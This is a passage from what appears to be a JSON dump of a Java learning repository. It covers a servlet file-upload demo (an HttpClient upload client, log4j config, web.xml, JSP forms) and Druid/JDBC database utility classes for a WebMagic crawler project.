    "content": "package com.google.tool;\n\nimport java.io.BufferedReader;\nimport java.io.File;\nimport java.io.InputStream;\nimport java.io.InputStreamReader;\n\nimport org.apache.commons.httpclient.HttpClient;\nimport org.apache.commons.httpclient.HttpStatus;\nimport org.apache.commons.httpclient.methods.PostMethod;\nimport org.apache.commons.httpclient.methods.multipart.FilePart;\nimport org.apache.commons.httpclient.methods.multipart.MultipartRequestEntity;\nimport org.apache.commons.httpclient.methods.multipart.Part;\nimport org.apache.log4j.Logger;\n\npublic class FileLoadClient {\n\t\n\tprivate static Logger logger = Logger.getLogger(FileLoadClient.class);\n\t\n\tpublic static String fileload(String url, File file) {\n\t\tString body = \"{}\";\n\t\t\n\t\tif (url == null || url.equals(\"\")) {\n\t\t\treturn \"参数不合法\";\n\t\t}\n\t\tif (!file.exists()) {\n\t\t\treturn \"要上传的文件名不存在\";\n\t\t}\n\t\t\n\t\tPostMethod postMethod = new PostMethod(url);\n\t\t\n        try {\n        \t\n            // FilePart：用来上传文件的类,file即要上传的文件\n            FilePart fp = new FilePart(\"file\", file);\n            Part[] parts = { fp };\n\n            // 对于MIME类型的请求，httpclient建议全用MulitPartRequestEntity进行包装\n            MultipartRequestEntity mre = new MultipartRequestEntity(parts, postMethod.getParams());\n            postMethod.setRequestEntity(mre);\n            \n            HttpClient client = new HttpClient();\n            // 由于要上传的文件可能比较大 , 因此在此设置最大的连接超时时间\n            client.getHttpConnectionManager().getParams() .setConnectionTimeout(50000);\n            \n            int status = client.executeMethod(postMethod);\n            if (status == HttpStatus.SC_OK) {\n                InputStream inputStream = postMethod.getResponseBodyAsStream();\n                BufferedReader br = new BufferedReader(new InputStreamReader(inputStream));\n                \n                StringBuffer stringBuffer = new StringBuffer();\n                String str = \"\";\n                while ((str = br.readLine()) != null) {\n                    stringBuffer.append(str);\n                }\n                \n                body = stringBuffer.toString();\n                \n            } else {\n            \tbody = \"fail\";\n            }\n        } catch (Exception e) {\n            logger.warn(\"上传文件异常\", e);\n        } finally {\n            // 释放连接\n            postMethod.releaseConnection();\n        }\n\t\t\n\t\treturn body;\n\t}\n\t\n\t\n\tpublic static void main(String[] args) throws Exception {\n\t\tString body = fileload(\"http://localhost:8080/jsp_upload-servlet/fileload\", new File(\"C:/1111.txt\"));\n\t\tSystem.out.println(body);\n\t}\n\t\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_upload_jsp_servlet/src/main/resources/log4j.properties",
    "content": "#\n# Copyright (c) 2012. Hortonworks, Inc. All rights reserved\n#\n\nlog4j.rootCategory=INFO,STDOUT,ROLLING_FILE\nlog4j.appender.STDOUT=org.apache.log4j.ConsoleAppender\nlog4j.appender.STDOUT.layout=org.apache.log4j.PatternLayout\nlog4j.appender.STDOUT.layout.ConversionPattern=%d{yyyy-MM-dd HH:mm:ss} [%t] %p %c{2} %x: %m%n\n########################\n# Rolling File\n########################\nlog4j.appender.ROLLING_FILE=org.apache.log4j.RollingFileAppender\nlog4j.appender.ROLLING_FILE.Threshold=INFO\nlog4j.appender.ROLLING_FILE.File=jsp_upload-servlet.log\nlog4j.appender.ROLLING_FILE.Append=true\nlog4j.appender.ROLLING_FILE.MaxFileSize=1024KB\nlog4j.appender.ROLLING_FILE.MaxBackupIndex=1\nlog4j.appender.ROLLING_FILE.layout=org.apache.log4j.PatternLayout\nlog4j.appender.ROLLING_FILE.layout.ConversionPattern=[framework] %d - %c -%-4r [%t] %-5p %c %x - %m%n\n\n# All hibernate log output of \"info\" level or higher goes to stdout.\n# For more verbose logging, change the \"info\" to \"debug\" on the last line.\nlog4j.logger.org.hibernate.ps.PreparedStatementCache=WARN\nlog4j.logger.org.hibernate=WARN\n\n# Changing the log level to DEBUG will result in Hibernate generated\n# SQL to be logged.\nlog4j.logger.org.hibernate.SQL=ERROR\n\n# Changing the log level to DEBUG will result in the PreparedStatement\n# bound variable values to be logged.\nlog4j.logger.org.hibernate.type=ERROR"
  },
  {
    "path": "jun_java_plugins/jun_upload_jsp_servlet/src/main/webapp/WEB-INF/web.xml",
    "content": "<!DOCTYPE web-app PUBLIC\n \"-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN\"\n \"http://java.sun.com/dtd/web-app_2_3.dtd\" >\n\n<web-app>\n  <display-name>Archetype Created Web Application</display-name>\n  \n  \n  <servlet>\n    <servlet-name>FileLoadServlet</servlet-name>\n    <servlet-class>com.google.servlet.FileLoadServlet</servlet-class>\n  </servlet>\n  <servlet-mapping>\n    <servlet-name>FileLoadServlet</servlet-name>\n    <url-pattern>/fileload</url-pattern>\n  </servlet-mapping>\n  \n</web-app>\n"
  },
  {
    "path": "jun_java_plugins/jun_upload_jsp_servlet/src/main/webapp/fail.jsp",
    "content": "<html>\n<head>\n  <meta http-equiv=\"Content-Type\" content=\"text/html; charset=UTF-8\" />\n</head>\n<body>\n<h2>File upload fail</h2>\n<a href=\"index.jsp\">return</a>\n</body>\n</html>\n"
  },
  {
    "path": "jun_java_plugins/jun_upload_jsp_servlet/src/main/webapp/index.jsp",
    "content": "<html>\n<head>\n  <meta http-equiv=\"Content-Type\" content=\"text/html; charset=UTF-8\" />\n</head>\n<body>\n<h2>File upload demo</h2>\n<form action=\"fileload\"  method=\"post\" enctype=\"multipart/form-data\">\n  <input type=\"file\" name=\"filename\" size=\"45\"><br>\n  <input type=\"submit\" name=\"submit\" value=\"submit\">\n</form>\n</body>\n</html>\n"
  },
  {
    "path": "jun_java_plugins/jun_upload_jsp_servlet/src/main/webapp/index_multi.jsp",
    "content": "<html>\n<head>\n  <meta http-equiv=\"Content-Type\" content=\"text/html; charset=UTF-8\" />\n</head>\n<body>\n<h2>File upload demo</h2>\n<form action=\"fileload\"  method=\"post\" enctype=\"multipart/form-data\">\n  <input type=\"file\" name=\"filename1\" size=\"45\"><br>\n  <input type=\"file\" name=\"filename2\" size=\"45\"><br>\n  <input type=\"file\" name=\"filename3\" size=\"45\"><br>\n  <input type=\"submit\" name=\"submit\" value=\"submit\">\n</form>\n</body>\n</html>\n"
  },
  {
    "path": "jun_java_plugins/jun_upload_jsp_servlet/src/main/webapp/succ.jsp",
    "content": "<html>\n<head>\n  <meta http-equiv=\"Content-Type\" content=\"text/html; charset=UTF-8\" />\n</head>\n<body>\n<h2>File upload success</h2>\n<a href=\"index.jsp\">return</a>\n</body>\n</html>\n"
  },
  {
    "path": "jun_java_plugins/jun_upload_jsp_servlet/参考.txt",
    "content": "http://zhangjunhd.blog.51cto.com/113473/19631/\nhttp://kb.cnblogs.com/page/130970/\nhttp://www.cnblogs.com/ITtangtang/p/3968093.html"
  },
  {
    "path": "jun_java_plugins/jun_webmagic/pom.xml",
    "content": "<project xmlns=\"http://maven.apache.org/POM/4.0.0\"\n\txmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n\txsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n\t<modelVersion>4.0.0</modelVersion>\n\t<groupId>io.github.wujun728</groupId>\n\t<artifactId>jun_webmagic</artifactId>\n\t<version>1.0</version>\n\n\t<!--<build>\n\t\t<plugins>\n\t\t\t<plugin>\n\t\t\t\t<groupId>org.apache.maven.plugins</groupId>\n\t\t\t\t<artifactId>maven-compiler-plugin</artifactId>\n\t\t\t\t<version>3.6.0</version>\n\t\t\t\t<configuration>\n\t\t\t\t\t<source>1.8</source>\n\t\t\t\t\t<target>1.8</target>\n\t\t\t\t</configuration>\n\t\t\t</plugin>\n\t\t</plugins>\n\n\t</build>-->\n\n\t<packaging>jar</packaging>\n\n\t<properties>\n\t\t<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n\t</properties>\n\n\t<dependencies>\n\t\t<dependency>\n\t\t\t<groupId>us.codecraft</groupId>\n\t\t\t<artifactId>webmagic-core</artifactId>\n\t\t\t<version>1.0.0</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>us.codecraft</groupId>\n\t\t\t<artifactId>webmagic-extension</artifactId>\n\t\t\t<version>1.0.0</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>us.codecraft</groupId>\n\t\t\t<artifactId>webmagic-extension</artifactId>\n\t\t\t<version>1.0.0</version>\n\t\t\t<exclusions>\n\t\t\t\t<exclusion>\n\t\t\t\t\t<groupId>org.slf4j</groupId>\n\t\t\t\t\t<artifactId>slf4j-log4j12</artifactId>\n\t\t\t\t</exclusion>\n\t\t\t</exclusions>\n\t\t</dependency>\n\t\t<!-- https://mvnrepository.com/artifact/junit/junit -->\n\t\t<dependency>\n\t\t\t<groupId>junit</groupId>\n\t\t\t<artifactId>junit</artifactId>\n\t\t\t<version>4.12</version>\n\t\t\t<!-- <scope>test</scope> -->\n\t\t</dependency>\n\t\t<!-- https://mvnrepository.com/artifact/org.jsoup/jsoup -->\n\t\t<dependency>\n\t\t\t<groupId>org.jsoup</groupId>\n\t\t\t<artifactId>jsoup</artifactId>\n\t\t\t<version>1.10.3</version>\n\t\t</dependency>\n\t\t<!-- https://mvnrepository.com/artifact/commons-dbutils/commons-dbutils -->\n\t\t<dependency>\n\t\t\t<groupId>commons-dbutils</groupId>\n\t\t\t<artifactId>commons-dbutils</artifactId>\n\t\t\t<version>1.7</version>\n\t\t</dependency>\n\n\n\t\t<!-- https://mvnrepository.com/artifact/com.alibaba/druid -->\n\t\t<dependency>\n\t\t\t<groupId>com.alibaba</groupId>\n\t\t\t<artifactId>druid</artifactId>\n\t\t\t<version>1.0.29</version>\n\t\t</dependency>\n\t\t<!-- https://mvnrepository.com/artifact/mysql/mysql-connector-java -->\n\t\t<dependency>\n\t\t\t<groupId>mysql</groupId>\n\t\t\t<artifactId>mysql-connector-java</artifactId>\n\t\t\t<version>5.1.41</version>\n\t\t</dependency>\n\n\t\t<!-- https://mvnrepository.com/artifact/javax.servlet/javax.servlet-api -->\n\t\t<dependency>\n\t\t\t<groupId>javax.servlet</groupId>\n\t\t\t<artifactId>javax.servlet-api</artifactId>\n\t\t\t<version>4.0.1</version>\n\t\t\t<!-- <version>3.1.0</version> -->\n\t\t\t<!-- <scope>provided</scope> -->\n\t\t</dependency>\n\n\n\t\t<dependency>\n\t\t\t<groupId>org.slf4j</groupId>\n\t\t\t<artifactId>slf4j-api</artifactId>\n\t\t\t<version>1.8.0-beta4</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.slf4j</groupId>\n\t\t\t<artifactId>slf4j-log4j12</artifactId>\n\t\t\t<version>1.8.0-beta4</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>log4j</groupId>\n\t\t\t<artifactId>log4j</artifactId>\n\t\t\t<version>1.2.17</version>\n\t\t</dependency>\n\n\t</dependencies>\n</project>"
  },
  {
    "path": "jun_java_plugins/jun_webmagic/src/main/java/MysqlDBUtils.java",
    "content": "\n\nimport com.alibaba.druid.pool.DruidDataSource;\nimport com.alibaba.druid.pool.DruidDataSourceFactory;\n\nimport java.io.BufferedInputStream;\nimport java.io.File;\nimport java.io.FileInputStream;\nimport java.io.InputStream;\nimport java.sql.Connection;\nimport java.sql.PreparedStatement;\nimport java.sql.ResultSet;\nimport java.sql.SQLException;\nimport java.util.Properties;\n\n/**\n * Created by cfq on 2017/4/30.\n */\npublic class MysqlDBUtils {\n    private static Connection getConn() {\n        String confile = \"druid.properties\";//配置文件名称\n        Properties properties = new Properties();\n        InputStream inputStream = null;\n        DruidDataSource dataSource = null;\n        Connection connection = null;\n\n        confile = MysqlDBUtils.class.getResource(\"/\").getPath() + confile;//获取配置文件路径\n\n        File file = new File(confile);\n        try {\n            inputStream = new BufferedInputStream(new FileInputStream(file));\n            properties.load(inputStream);//加载配置文件\n\n\n            //通过DruidDataSourceFactory获取javax.sql.DataSource\n            dataSource = (DruidDataSource) DruidDataSourceFactory.createDataSource(properties);\n            connection = dataSource.getConnection();\n\n        } catch (Exception e) {\n            e.printStackTrace();\n        }\n        return connection;\n    }\n\n    public static void selectTest() {\n\n        //以下为一个查询的例子，和正常的jdbc操作??\n        String sql = \"select * from sys_user\";\n        PreparedStatement pstmt;\n        try {\n            pstmt = (PreparedStatement) getConn().prepareStatement(sql);\n            ResultSet rs = pstmt.executeQuery();\n            int col = rs.getMetaData().getColumnCount();\n            System.out.println(\"============================\");\n            while (rs.next()) {\n                for (int i = 1; i <= col; i++) {\n                    System.out.print(rs.getString(i) + \"\\t\");\n                }\n                System.out.println(\"\");\n            }\n            System.out.println(\"============================\");\n        } catch (SQLException e) {\n            e.printStackTrace();\n        }\n    }\n\n\t/*\n\t * public static int insert(GankModel gankModel) { Connection conn = getConn();\n\t * int i = 0; String sql = \"insert into gankinfo (title,content) values(?,?)\";\n\t * PreparedStatement pstmt; try { pstmt = (PreparedStatement)\n\t * conn.prepareStatement(sql); pstmt.setString(1, gankModel.getTitle());\n\t * pstmt.setString(2, gankModel.getContent()); i = pstmt.executeUpdate();\n\t * pstmt.close(); conn.close(); } catch (SQLException e) { e.printStackTrace();\n\t * } return i; }\n\t */\n\n    public static void main(String[] args) {\n        MysqlDBUtils.selectTest();\n\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_webmagic/src/main/java/dbutils/ContentDAO.java",
    "content": "package dbutils;\n\nimport java.sql.SQLException;\n\nimport org.apache.commons.dbutils.QueryRunner;\nimport org.junit.Test;\n\npublic class ContentDAO {\n\n\t@Test\n\tpublic void addContentData(Object params[]) throws SQLException {\n\t\tQueryRunner qr = new QueryRunner(DBUtils.getDataSource());\n\t\tStringBuilder sql = new StringBuilder();\n\t\tsql.append(\n\t\t\t\t\"INSERT INTO t_content ( dataid, name, type, title, content, creator, ctime, createtime,  updatetime, keyword, clickhit, images, html1, html2, html3, content1, content2, content3,\"\n\t\t\t\t+ \" remark) VALUES ( ?,?,?  ,?,?,?,  ?,?,?,  ?,?,?,  ?,?,?,  ?,?,?,? )  \" + \n\t\t\t\t\" \");\n//\t\tsql.append(\n//\t\t\t\t\" insert into t_content (dataid,name,type,title,content,creator,ctime,createtime,updatetime,keyword,clickhit,images,\"\n//\t\t\t\t\t\t+ \"html1,html2,html3,content1,content2,content3,remark) values ( ?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,? )  \");\n\t\tqr.update(sql.toString(),params);\n\t}\n\n}"
  },
  {
    "path": "jun_java_plugins/jun_webmagic/src/main/java/dbutils/DBUtils.java",
    "content": "package dbutils;\n\n\nimport java.io.File;\nimport java.io.FileInputStream;\nimport java.io.InputStream;\nimport java.sql.Connection;\nimport java.sql.SQLException;\nimport java.util.Properties;\n\nimport javax.sql.DataSource;\n\nimport com.alibaba.druid.pool.DruidDataSource;\nimport com.alibaba.druid.pool.DruidDataSourceFactory;\n\n/**\n* @ClassName: JdbcUtils2\n* @Description: 数据库连接工具类\n* @author: 孤傲苍狼\n* @date: 2014-10-4 下午6:04:36\n*\n*/ \npublic class DBUtils {\n    \n//    private static ComboPooledDataSource ds = null;\n    private static DruidDataSource ds = null;\n    //使用ThreadLocal存储当前线程中的Connection对象\n    private static ThreadLocal<Connection> threadLocal = new ThreadLocal<Connection>();\n    \n    //在静态代码块中创建数据库连接池\n    static{\n        try{\n        \t\n            //通过代码创建C3P0数据库连接池\n            /*ds = new ComboPooledDataSource();\n            ds.setDriverClass(\"com.mysql.jdbc.Driver\");\n            ds.setJdbcUrl(\"jdbc:mysql://localhost:3306/jdbcstudy\");\n            ds.setUser(\"root\");\n            ds.setPassword(\"XDP\");\n            ds.setInitialPoolSize(10);\n            ds.setMinPoolSize(5);\n            ds.setMaxPoolSize(20);*/\n            \n            //通过读取C3P0的xml配置文件创建数据源，C3P0的xml配置文件c3p0-config.xml必须放在src目录下\n            //ds = new ComboPooledDataSource();//使用C3P0的默认配置来创建数据源\n//            ds = new ComboPooledDataSource(\"MySQL\");//使用C3P0的命名配置来创建数据源\n//        \tProperties properties = loadPropertiesFile(\"druid.properties\");\n        \t\n//        \tFileInputStream fis = new FileInputStream(JdbcUtils.class.getResource(\"/\").getPath() + \"druid.properties\");\n//        \tProperties p = new Properties();\n//        \tp.load(fis);\n        \tProperties prop = new Properties();\n        \tprop.load(DBUtils.class.getClass().getResourceAsStream(\"/druid.properties\"));\n            ds = (DruidDataSource) DruidDataSourceFactory.createDataSource(prop); // DruidDataSrouce工厂模式\n            \n        }catch (Exception e) {\n            throw new ExceptionInInitializerError(e);\n        }\n    }\n    \n    public static void main(String[] args) throws SQLException {\n\t\tSystem.err.println(DBUtils.getConnection());\n\t}\n    \n    /**\n\t * @param string 配置文件名\n\t * @return Properties对象\n\t */\n\tprivate static Properties loadPropertiesFile(String fullFile) {\n\t\tString webRootPath = null;\n\t\tif (null == fullFile || fullFile.equals(\"\")) {\n\t\t\tthrow new IllegalArgumentException(\"Properties file path can not be null\" + fullFile);\n\t\t}\n\t\twebRootPath = DBUtils.class.getClassLoader().getResource(\"\").getPath();\n\t\twebRootPath = new File(webRootPath).getParent();\n\t\tInputStream inputStream = null;\n\t\tProperties p = null;\n\t\ttry {\n\t\t\tinputStream = new FileInputStream(new File(webRootPath + File.separator + fullFile));\n\t\t\tp = new Properties();\n\t\t\tp.load(inputStream);\n\t\t} catch (Exception e) {\n\t\t\te.printStackTrace();\n\t\t} finally {\n\t\t\ttry {\n\t\t\t\tif (null != inputStream) {\n\t\t\t\t\tinputStream.close();\n\t\t\t\t}\n\t\t\t} catch (Exception e) {\n\t\t\t\te.printStackTrace();\n\t\t\t}\n\t\t}\n\n\t\treturn p;\n\t}\n    \n    /**\n    * @Method: getConnection\n    * @Description: 从数据源中获取数据库连接\n    * @Anthor:孤傲苍狼\n    * @return Connection\n    * @throws SQLException\n    */ \n    public static Connection getConnection() throws SQLException{\n        //从当前线程中获取Connection\n        Connection conn = threadLocal.get();\n        if(conn==null){\n            //从数据源中获取数据库连接\n            conn = getDataSource().getConnection();\n            //将conn绑定到当前线程\n            threadLocal.set(conn);\n        }\n        return conn;\n    }\n    \n    /**\n    * @Method: startTransaction\n    * @Description: 开启事务\n    * @Anthor:孤傲苍狼\n    *\n    */ \n    public static void startTransaction(){\n        try{\n            Connection conn =  threadLocal.get();\n            if(conn==null){\n                conn = getConnection();\n                 //把 conn绑定到当前线程上\n                threadLocal.set(conn);\n            }\n            //开启事务\n            conn.setAutoCommit(false);\n        }catch (Exception e) {\n            throw new RuntimeException(e);\n        }\n    }\n    \n    /**\n    * @Method: rollback\n    * @Description:回滚事务\n    * @Anthor:孤傲苍狼\n    *\n    */ \n    public static void rollback(){\n        try{\n            //从当前线程中获取Connection\n            Connection conn = threadLocal.get();\n            if(conn!=null){\n                //回滚事务\n                conn.rollback();\n            }\n        }catch (Exception e) {\n            throw new RuntimeException(e);\n        }\n    }\n    \n    /**\n    * @Method: commit\n    * @Description:提交事务\n    * @Anthor:孤傲苍狼\n    *\n    */ \n    public static void commit(){\n        try{\n            //从当前线程中获取Connection\n            Connection conn = threadLocal.get();\n            if(conn!=null){\n                //提交事务\n                conn.commit();\n            }\n        }catch (Exception e) {\n            throw new RuntimeException(e);\n        }\n    }\n    \n    /**\n    * @Method: close\n    * @Description:关闭数据库连接(注意，并不是真的关闭，而是把连接还给数据库连接池)\n    * @Anthor:孤傲苍狼\n    *\n    */ \n    public static void close(){\n        try{\n            //从当前线程中获取Connection\n            Connection conn = threadLocal.get();\n            if(conn!=null){\n                conn.close();\n                 //解除当前线程上绑定conn\n                threadLocal.remove();\n            }\n        }catch (Exception e) {\n            throw new RuntimeException(e);\n        }\n    }\n    \n    /**\n    * @Method: getDataSource\n    * @Description: 获取数据源\n    * @Anthor:孤傲苍狼\n    * @return DataSource\n    */ \n    public static DataSource getDataSource(){\n        //从数据源中获取数据库连接\n        return ds;\n    }\n}"
  },
  {
    "path": "jun_java_plugins/jun_webmagic/src/main/java/dbutils/JDBCUtil.java",
    "content": "package dbutils;\n\nimport java.io.IOException;\nimport java.io.InputStream;\nimport java.lang.reflect.Field;\nimport java.sql.Connection;\nimport java.sql.PreparedStatement;\nimport java.sql.ResultSet;\nimport java.sql.ResultSetMetaData;\nimport java.sql.SQLException;\nimport java.sql.Statement;\nimport java.util.ArrayList;\nimport java.util.HashMap;\nimport java.util.List;\nimport java.util.Map;\nimport java.util.Objects;\nimport java.util.Properties;\nimport java.util.Set;\n \nimport com.alibaba.druid.pool.DruidDataSource;\n \n/**\n * 通用数据库工具类,基于Druid连接池实现\n * 包含以下功能\n * 1.获取连接\n * 2.关闭资源\n * 3.执行通用的更新操作\n * 4.执行通用的查询列表操作\n * 5.执行通用的查询单条记录操作\n * @author Wujun\n *\n */\n \npublic class JDBCUtil {\n\t\n\t\n\t//声明druid连接池对象\n\tprivate static DruidDataSource pool;\n\t\n\t/**数据库 链接URL地址**/\n\tprivate static String url;\n\t/**账号**/\n\tprivate static String username;\n\t/**密码**/\n\tprivate static String password;\n\t/**初始连接数**/\n\tprivate static int initialSize;\n\t/**最大活动连接数**/\n\tprivate static int maxActive;\n\t/**最小闲置连接数**/\n\tprivate static int minIdle;\n\t/**连接耗尽时最大等待获取连接时间**/\n\tprivate static long maxWait;\n\t\n\tprivate static String fileName = \"/jdbc.properties\";\n \n\tstatic {\n\t\tinit();\n\t}\n\t\n\t/**\n\t * 加载属性文件并读取属性文件中的内容将其设置给连接信息\n\t * @param propName\n\t */\n\tprivate static void loadProp(String propName) {\n\t\tfileName = propName;\n\t\ttry {\n\t\t\t//属性文件位于src根目录时,加\"/\"则不要使用ClassLoader,如果使用ClassLoader则无需\"/\"\n\t\t\tInputStream is = JDBCUtil.class.getResourceAsStream(fileName);\n\t\t\tProperties p = new Properties();\n\t\t\tp.load(is);\n\t\t\t\n\t\t\t\n\t\t\turl = p.getProperty(\"jdbc.url\");\n\t\t\tusername = p.getProperty(\"jdbc.username\");\n\t\t\tpassword = p.getProperty(\"jdbc.password\");\n\t\t\t\n\t\t\tinitialSize = Integer.parseInt(p.getProperty(\"initialSize\"));\n\t\t\tmaxActive = Integer.parseInt(p.getProperty(\"maxActive\"));\n\t\t\tmaxWait = Integer.parseInt(p.getProperty(\"maxWait\"));\n\t\t\tminIdle = Integer.parseInt(p.getProperty(\"minIdle\"));\n\t\t} catch (IOException e) {\n\t\t\te.printStackTrace();\n\t\t}\n\t}\n\t\n\tprivate static void init() {\n\t\tpool = new DruidDataSource();\n\t\t//加载属性文件,初始化配置\n\t\tloadProp(fileName);\n\t\tpool.setUrl(url);\n\t\tpool.setUsername(username);\n\t\tpool.setPassword(password);\n\t\t\n\t\t//设置连接池中初始连接数\n\t\tpool.setInitialSize(initialSize);\n\t\t//设置最大连接数\n\t\tpool.setMaxActive(maxActive);\n\t\t//设置最小的闲置链接数\n\t\tpool.setMinIdle(minIdle);\n\t\t//设置最大的等待时间(等待获取链接的时间)\n\t\tpool.setMaxWait(maxWait);\n\t}\n\t\n\t/**\n\t * 链接获取\n\t * @return\n\t */\n\tpublic static Connection getConn() {\n\t\ttry {\n\t\t\t//如果连接池为空或者被异常关闭,则重新初始化一个\n\t\t\tif(pool == null || pool.isClosed()) {\n\t\t\t\tinit();\n\t\t\t}\n\t\t\treturn pool.getConnection();\n\t\t} catch (SQLException e) {\n\t\t\te.printStackTrace();\n\t\t}\n\t\treturn null;\n\t\t\n\t}\n\t\n\t\n \n\t/**\n\t * 资源关闭\n\t * \n\t * @param stmt\n\t * @param conn\n\t */\n\tpublic static void close(Statement stmt, Connection conn) {\n\t\ttry {\n\t\t\tif (stmt != null) {\n\t\t\t\tstmt.close();\n\t\t\t}\n\t\t\tif (conn != null) {\n\t\t\t\tconn.close();\n\t\t\t}\n\t\t} catch (SQLException e) {\n\t\t\te.printStackTrace();\n\t\t}\n\t}\n \n\t/**\n\t * 封装通用的更新操作，对所有更新(INSERT,UPDATE，DELETE)有关的操作都能通过该方法实现\n\t * \n\t * @param sql\n\t * @return\n\t * \n\t */\n\tpublic static boolean exeUpdate(Connection conn,String sql, Object... obj) {\n\t\tPreparedStatement ps = null;\n\t\ttry {\n\t\t\tps = conn.prepareStatement(sql);\n\t\t\tfor (int i = 0; i < obj.length; i++) {\n\t\t\t\tps.setObject(i + 1, obj[i]);\n\t\t\t}\n\t\t\treturn ps.executeUpdate() > 0;\n\t\t} catch (SQLException e) {\n\t\t\te.printStackTrace();\n\t\t} finally {\n\t\t\tclose(ps, null);\n\t\t}\n\t\treturn false;\n\t}\n \n\t/**\n\t * 技术参数: 泛型，集合框架，反射，JDBC 封装通用查询多条及操作\n\t * \n\t * @param t\n\t * @param sql\n\t * @param params\n\t * @return\n\t */\n\tpublic static <T> List<T> queryList(Class<T> t, String sql, Object... params) {\n\t\tList<T> list = new ArrayList<>();\n\t\tT obj = null;\n\t\tConnection conn = null;\n\t\tPreparedStatement ps = null;\n\t\ttry {\n\t\t\tconn = getConn();\n\t\t\tps = conn.prepareStatement(sql);\n\t\t\tfor (int i = 0; i < params.length; i++) {\n\t\t\t\tps.setObject(i + 1, params[i]);\n\t\t\t}\n\t\t\tResultSet rs = ps.executeQuery();\n\t\t\t// 获取插叙结果集中的元数据(获取列类型，数量以及长度等信息)\n\t\t\tResultSetMetaData rsmd = rs.getMetaData();\n\t\t\t// 声明一个map集合，用于临时存储查询到的一条数据（key：列名；value：列值）\n\t\t\tMap<String, Object> map = new HashMap<>();\n\t\t\t// 遍历结果集\n\t\t\twhile (rs.next()) {\n\t\t\t\t// 防止缓存上一条数据\n\t\t\t\tmap.clear();\n\t\t\t\t// 遍历所有的列\n\t\t\t\tfor (int i = 0; i < rsmd.getColumnCount(); i++) {\n\t\t\t\t\t// 获取列名\n\t\t\t\t\tString cname = rsmd.getColumnLabel(i + 1);\n\t\t\t\t\t//获取列类型的int表示形式，以及列类型名称\n//\t\t\t\t\tSystem.out.println(\"列类型:\"+rsmd.getColumnType(i + 1)+\"----\"+rsmd.getColumnTypeName(i+1));\n\t\t\t\t\t// 获取列值\n\t\t\t\t\tObject value = rs.getObject(cname);\n\t\t\t\t\t// 将列明与列值存储到map中\n\t\t\t\t\tmap.put(cname, value);\n\t\t\t\t}\n\t\t\t\t// 利用反射将map中的数据注入到Java对象中，并将对象存入集合\n\t\t\t\tif (!map.isEmpty()) {\n\t\t\t\t\t// 获取map集合键集(列名集合)\n\t\t\t\t\tSet<String> columnNames = map.keySet();\n\t\t\t\t\t// 创建对象\n\t\t\t\t\tobj = t.newInstance();//new Student() //java.lang.Object\n\t\t\t\t\tfor (String column : columnNames) {\n\t\t\t\t\t\t// 根据键获取值\n\t\t\t\t\t\tObject value = map.get(column);\n\t\t\t\t\t\t//当数据对象不为空时，才注入数据到属性中\n\t\t\t\t\t\tif(Objects.nonNull(value)){\t\n\t\t\t\t\t\t\t// 获取属性对象\n\t\t\t\t\t\t\tField f = t.getDeclaredField(column);\n\t\t\t\t\t\t\t// 设置属性为可访问状态\n\t\t\t\t\t\t\tf.setAccessible(true);\n\t\t\t\t\t\t\t// 为属性设置\n\t\t\t\t\t\t\tf.set(obj, value);\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\tlist.add(obj);\n\t\t\t\t}\n\t\t\t}\n\t\t} catch (SQLException e) {\n\t\t\te.printStackTrace();\n\t\t} catch (InstantiationException e) {\n\t\t\te.printStackTrace();\n\t\t} catch (IllegalAccessException e) {\n\t\t\te.printStackTrace();\n\t\t} catch (NoSuchFieldException e) {\n\t\t\te.printStackTrace();\n\t\t} catch (SecurityException e) {\n\t\t\te.printStackTrace();\n\t\t}\n\t\treturn list;\n\t}\n \n\t/**\n\t * 封装查询单个对象的方法\n\t * \n\t * @param t\n\t * @param sql\n\t * @param params\n\t * @return\n\t */\n\tpublic static <T> T queryOne(Class<T> t, String sql, Object... params) {\n\t\tT obj = null;\n\t\tConnection conn = null;\n\t\tPreparedStatement ps = null;\n\t\ttry {\n\t\t\tconn = getConn();\n\t\t\tps = conn.prepareStatement(sql);\n\t\t\tfor (int i = 0; i < params.length; i++) {\n\t\t\t\tps.setObject(i + 1, params[i]);\n\t\t\t}\n\t\t\tResultSet rs = ps.executeQuery();\n\t\t\tResultSetMetaData rsmd = rs.getMetaData();\n\t\t\t//ORM操作（对象关系映射）\n\t\t\tif (rs.next()) {\n\t\t\t\t// 创建一个指定类型的实例对象(必须包含默认构造器)\n\t\t\t\tobj = t.newInstance();\n\t\t\t\tfor (int i = 0; i < rsmd.getColumnCount(); i++) {\n\t\t\t\t\t//获取指定列的列名称\n\t\t\t\t\tString cname = rsmd.getColumnLabel(i + 1);\n\t\t\t\t\t//获取列值\n\t\t\t\t\tObject value = rs.getObject(cname);\n\t\t\t\t\tif(Objects.nonNull(value)){\t\t\t\t\t\t\n\t\t\t\t\t\t//根据列名称获取Java类的属性名(要求表中的列名称必须与类中的属性名保持一致)\n\t\t\t\t\t\tField field = t.getDeclaredField(cname);\n\t\t\t\t\t\t//将字段设置为可访问状态\n\t\t\t\t\t\tfield.setAccessible(true);\n\t\t\t\t\t\t//为字段设置属性值\n\t\t\t\t\t\tfield.set(obj, value);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t} catch (SQLException e) {\n\t\t\te.printStackTrace();\n\t\t} catch (InstantiationException e) {\n\t\t\te.printStackTrace();\n\t\t} catch (IllegalAccessException e) {\n\t\t\te.printStackTrace();\n\t\t} catch (NoSuchFieldException e) {\n\t\t\te.printStackTrace();\n\t\t} catch (SecurityException e) {\n\t\t\te.printStackTrace();\n\t\t}\n\t\treturn obj;\n\t}\n\t\n}\n "
  },
  {
    "path": "jun_java_plugins/jun_webmagic/src/main/java/dbutils/LogDAO.java",
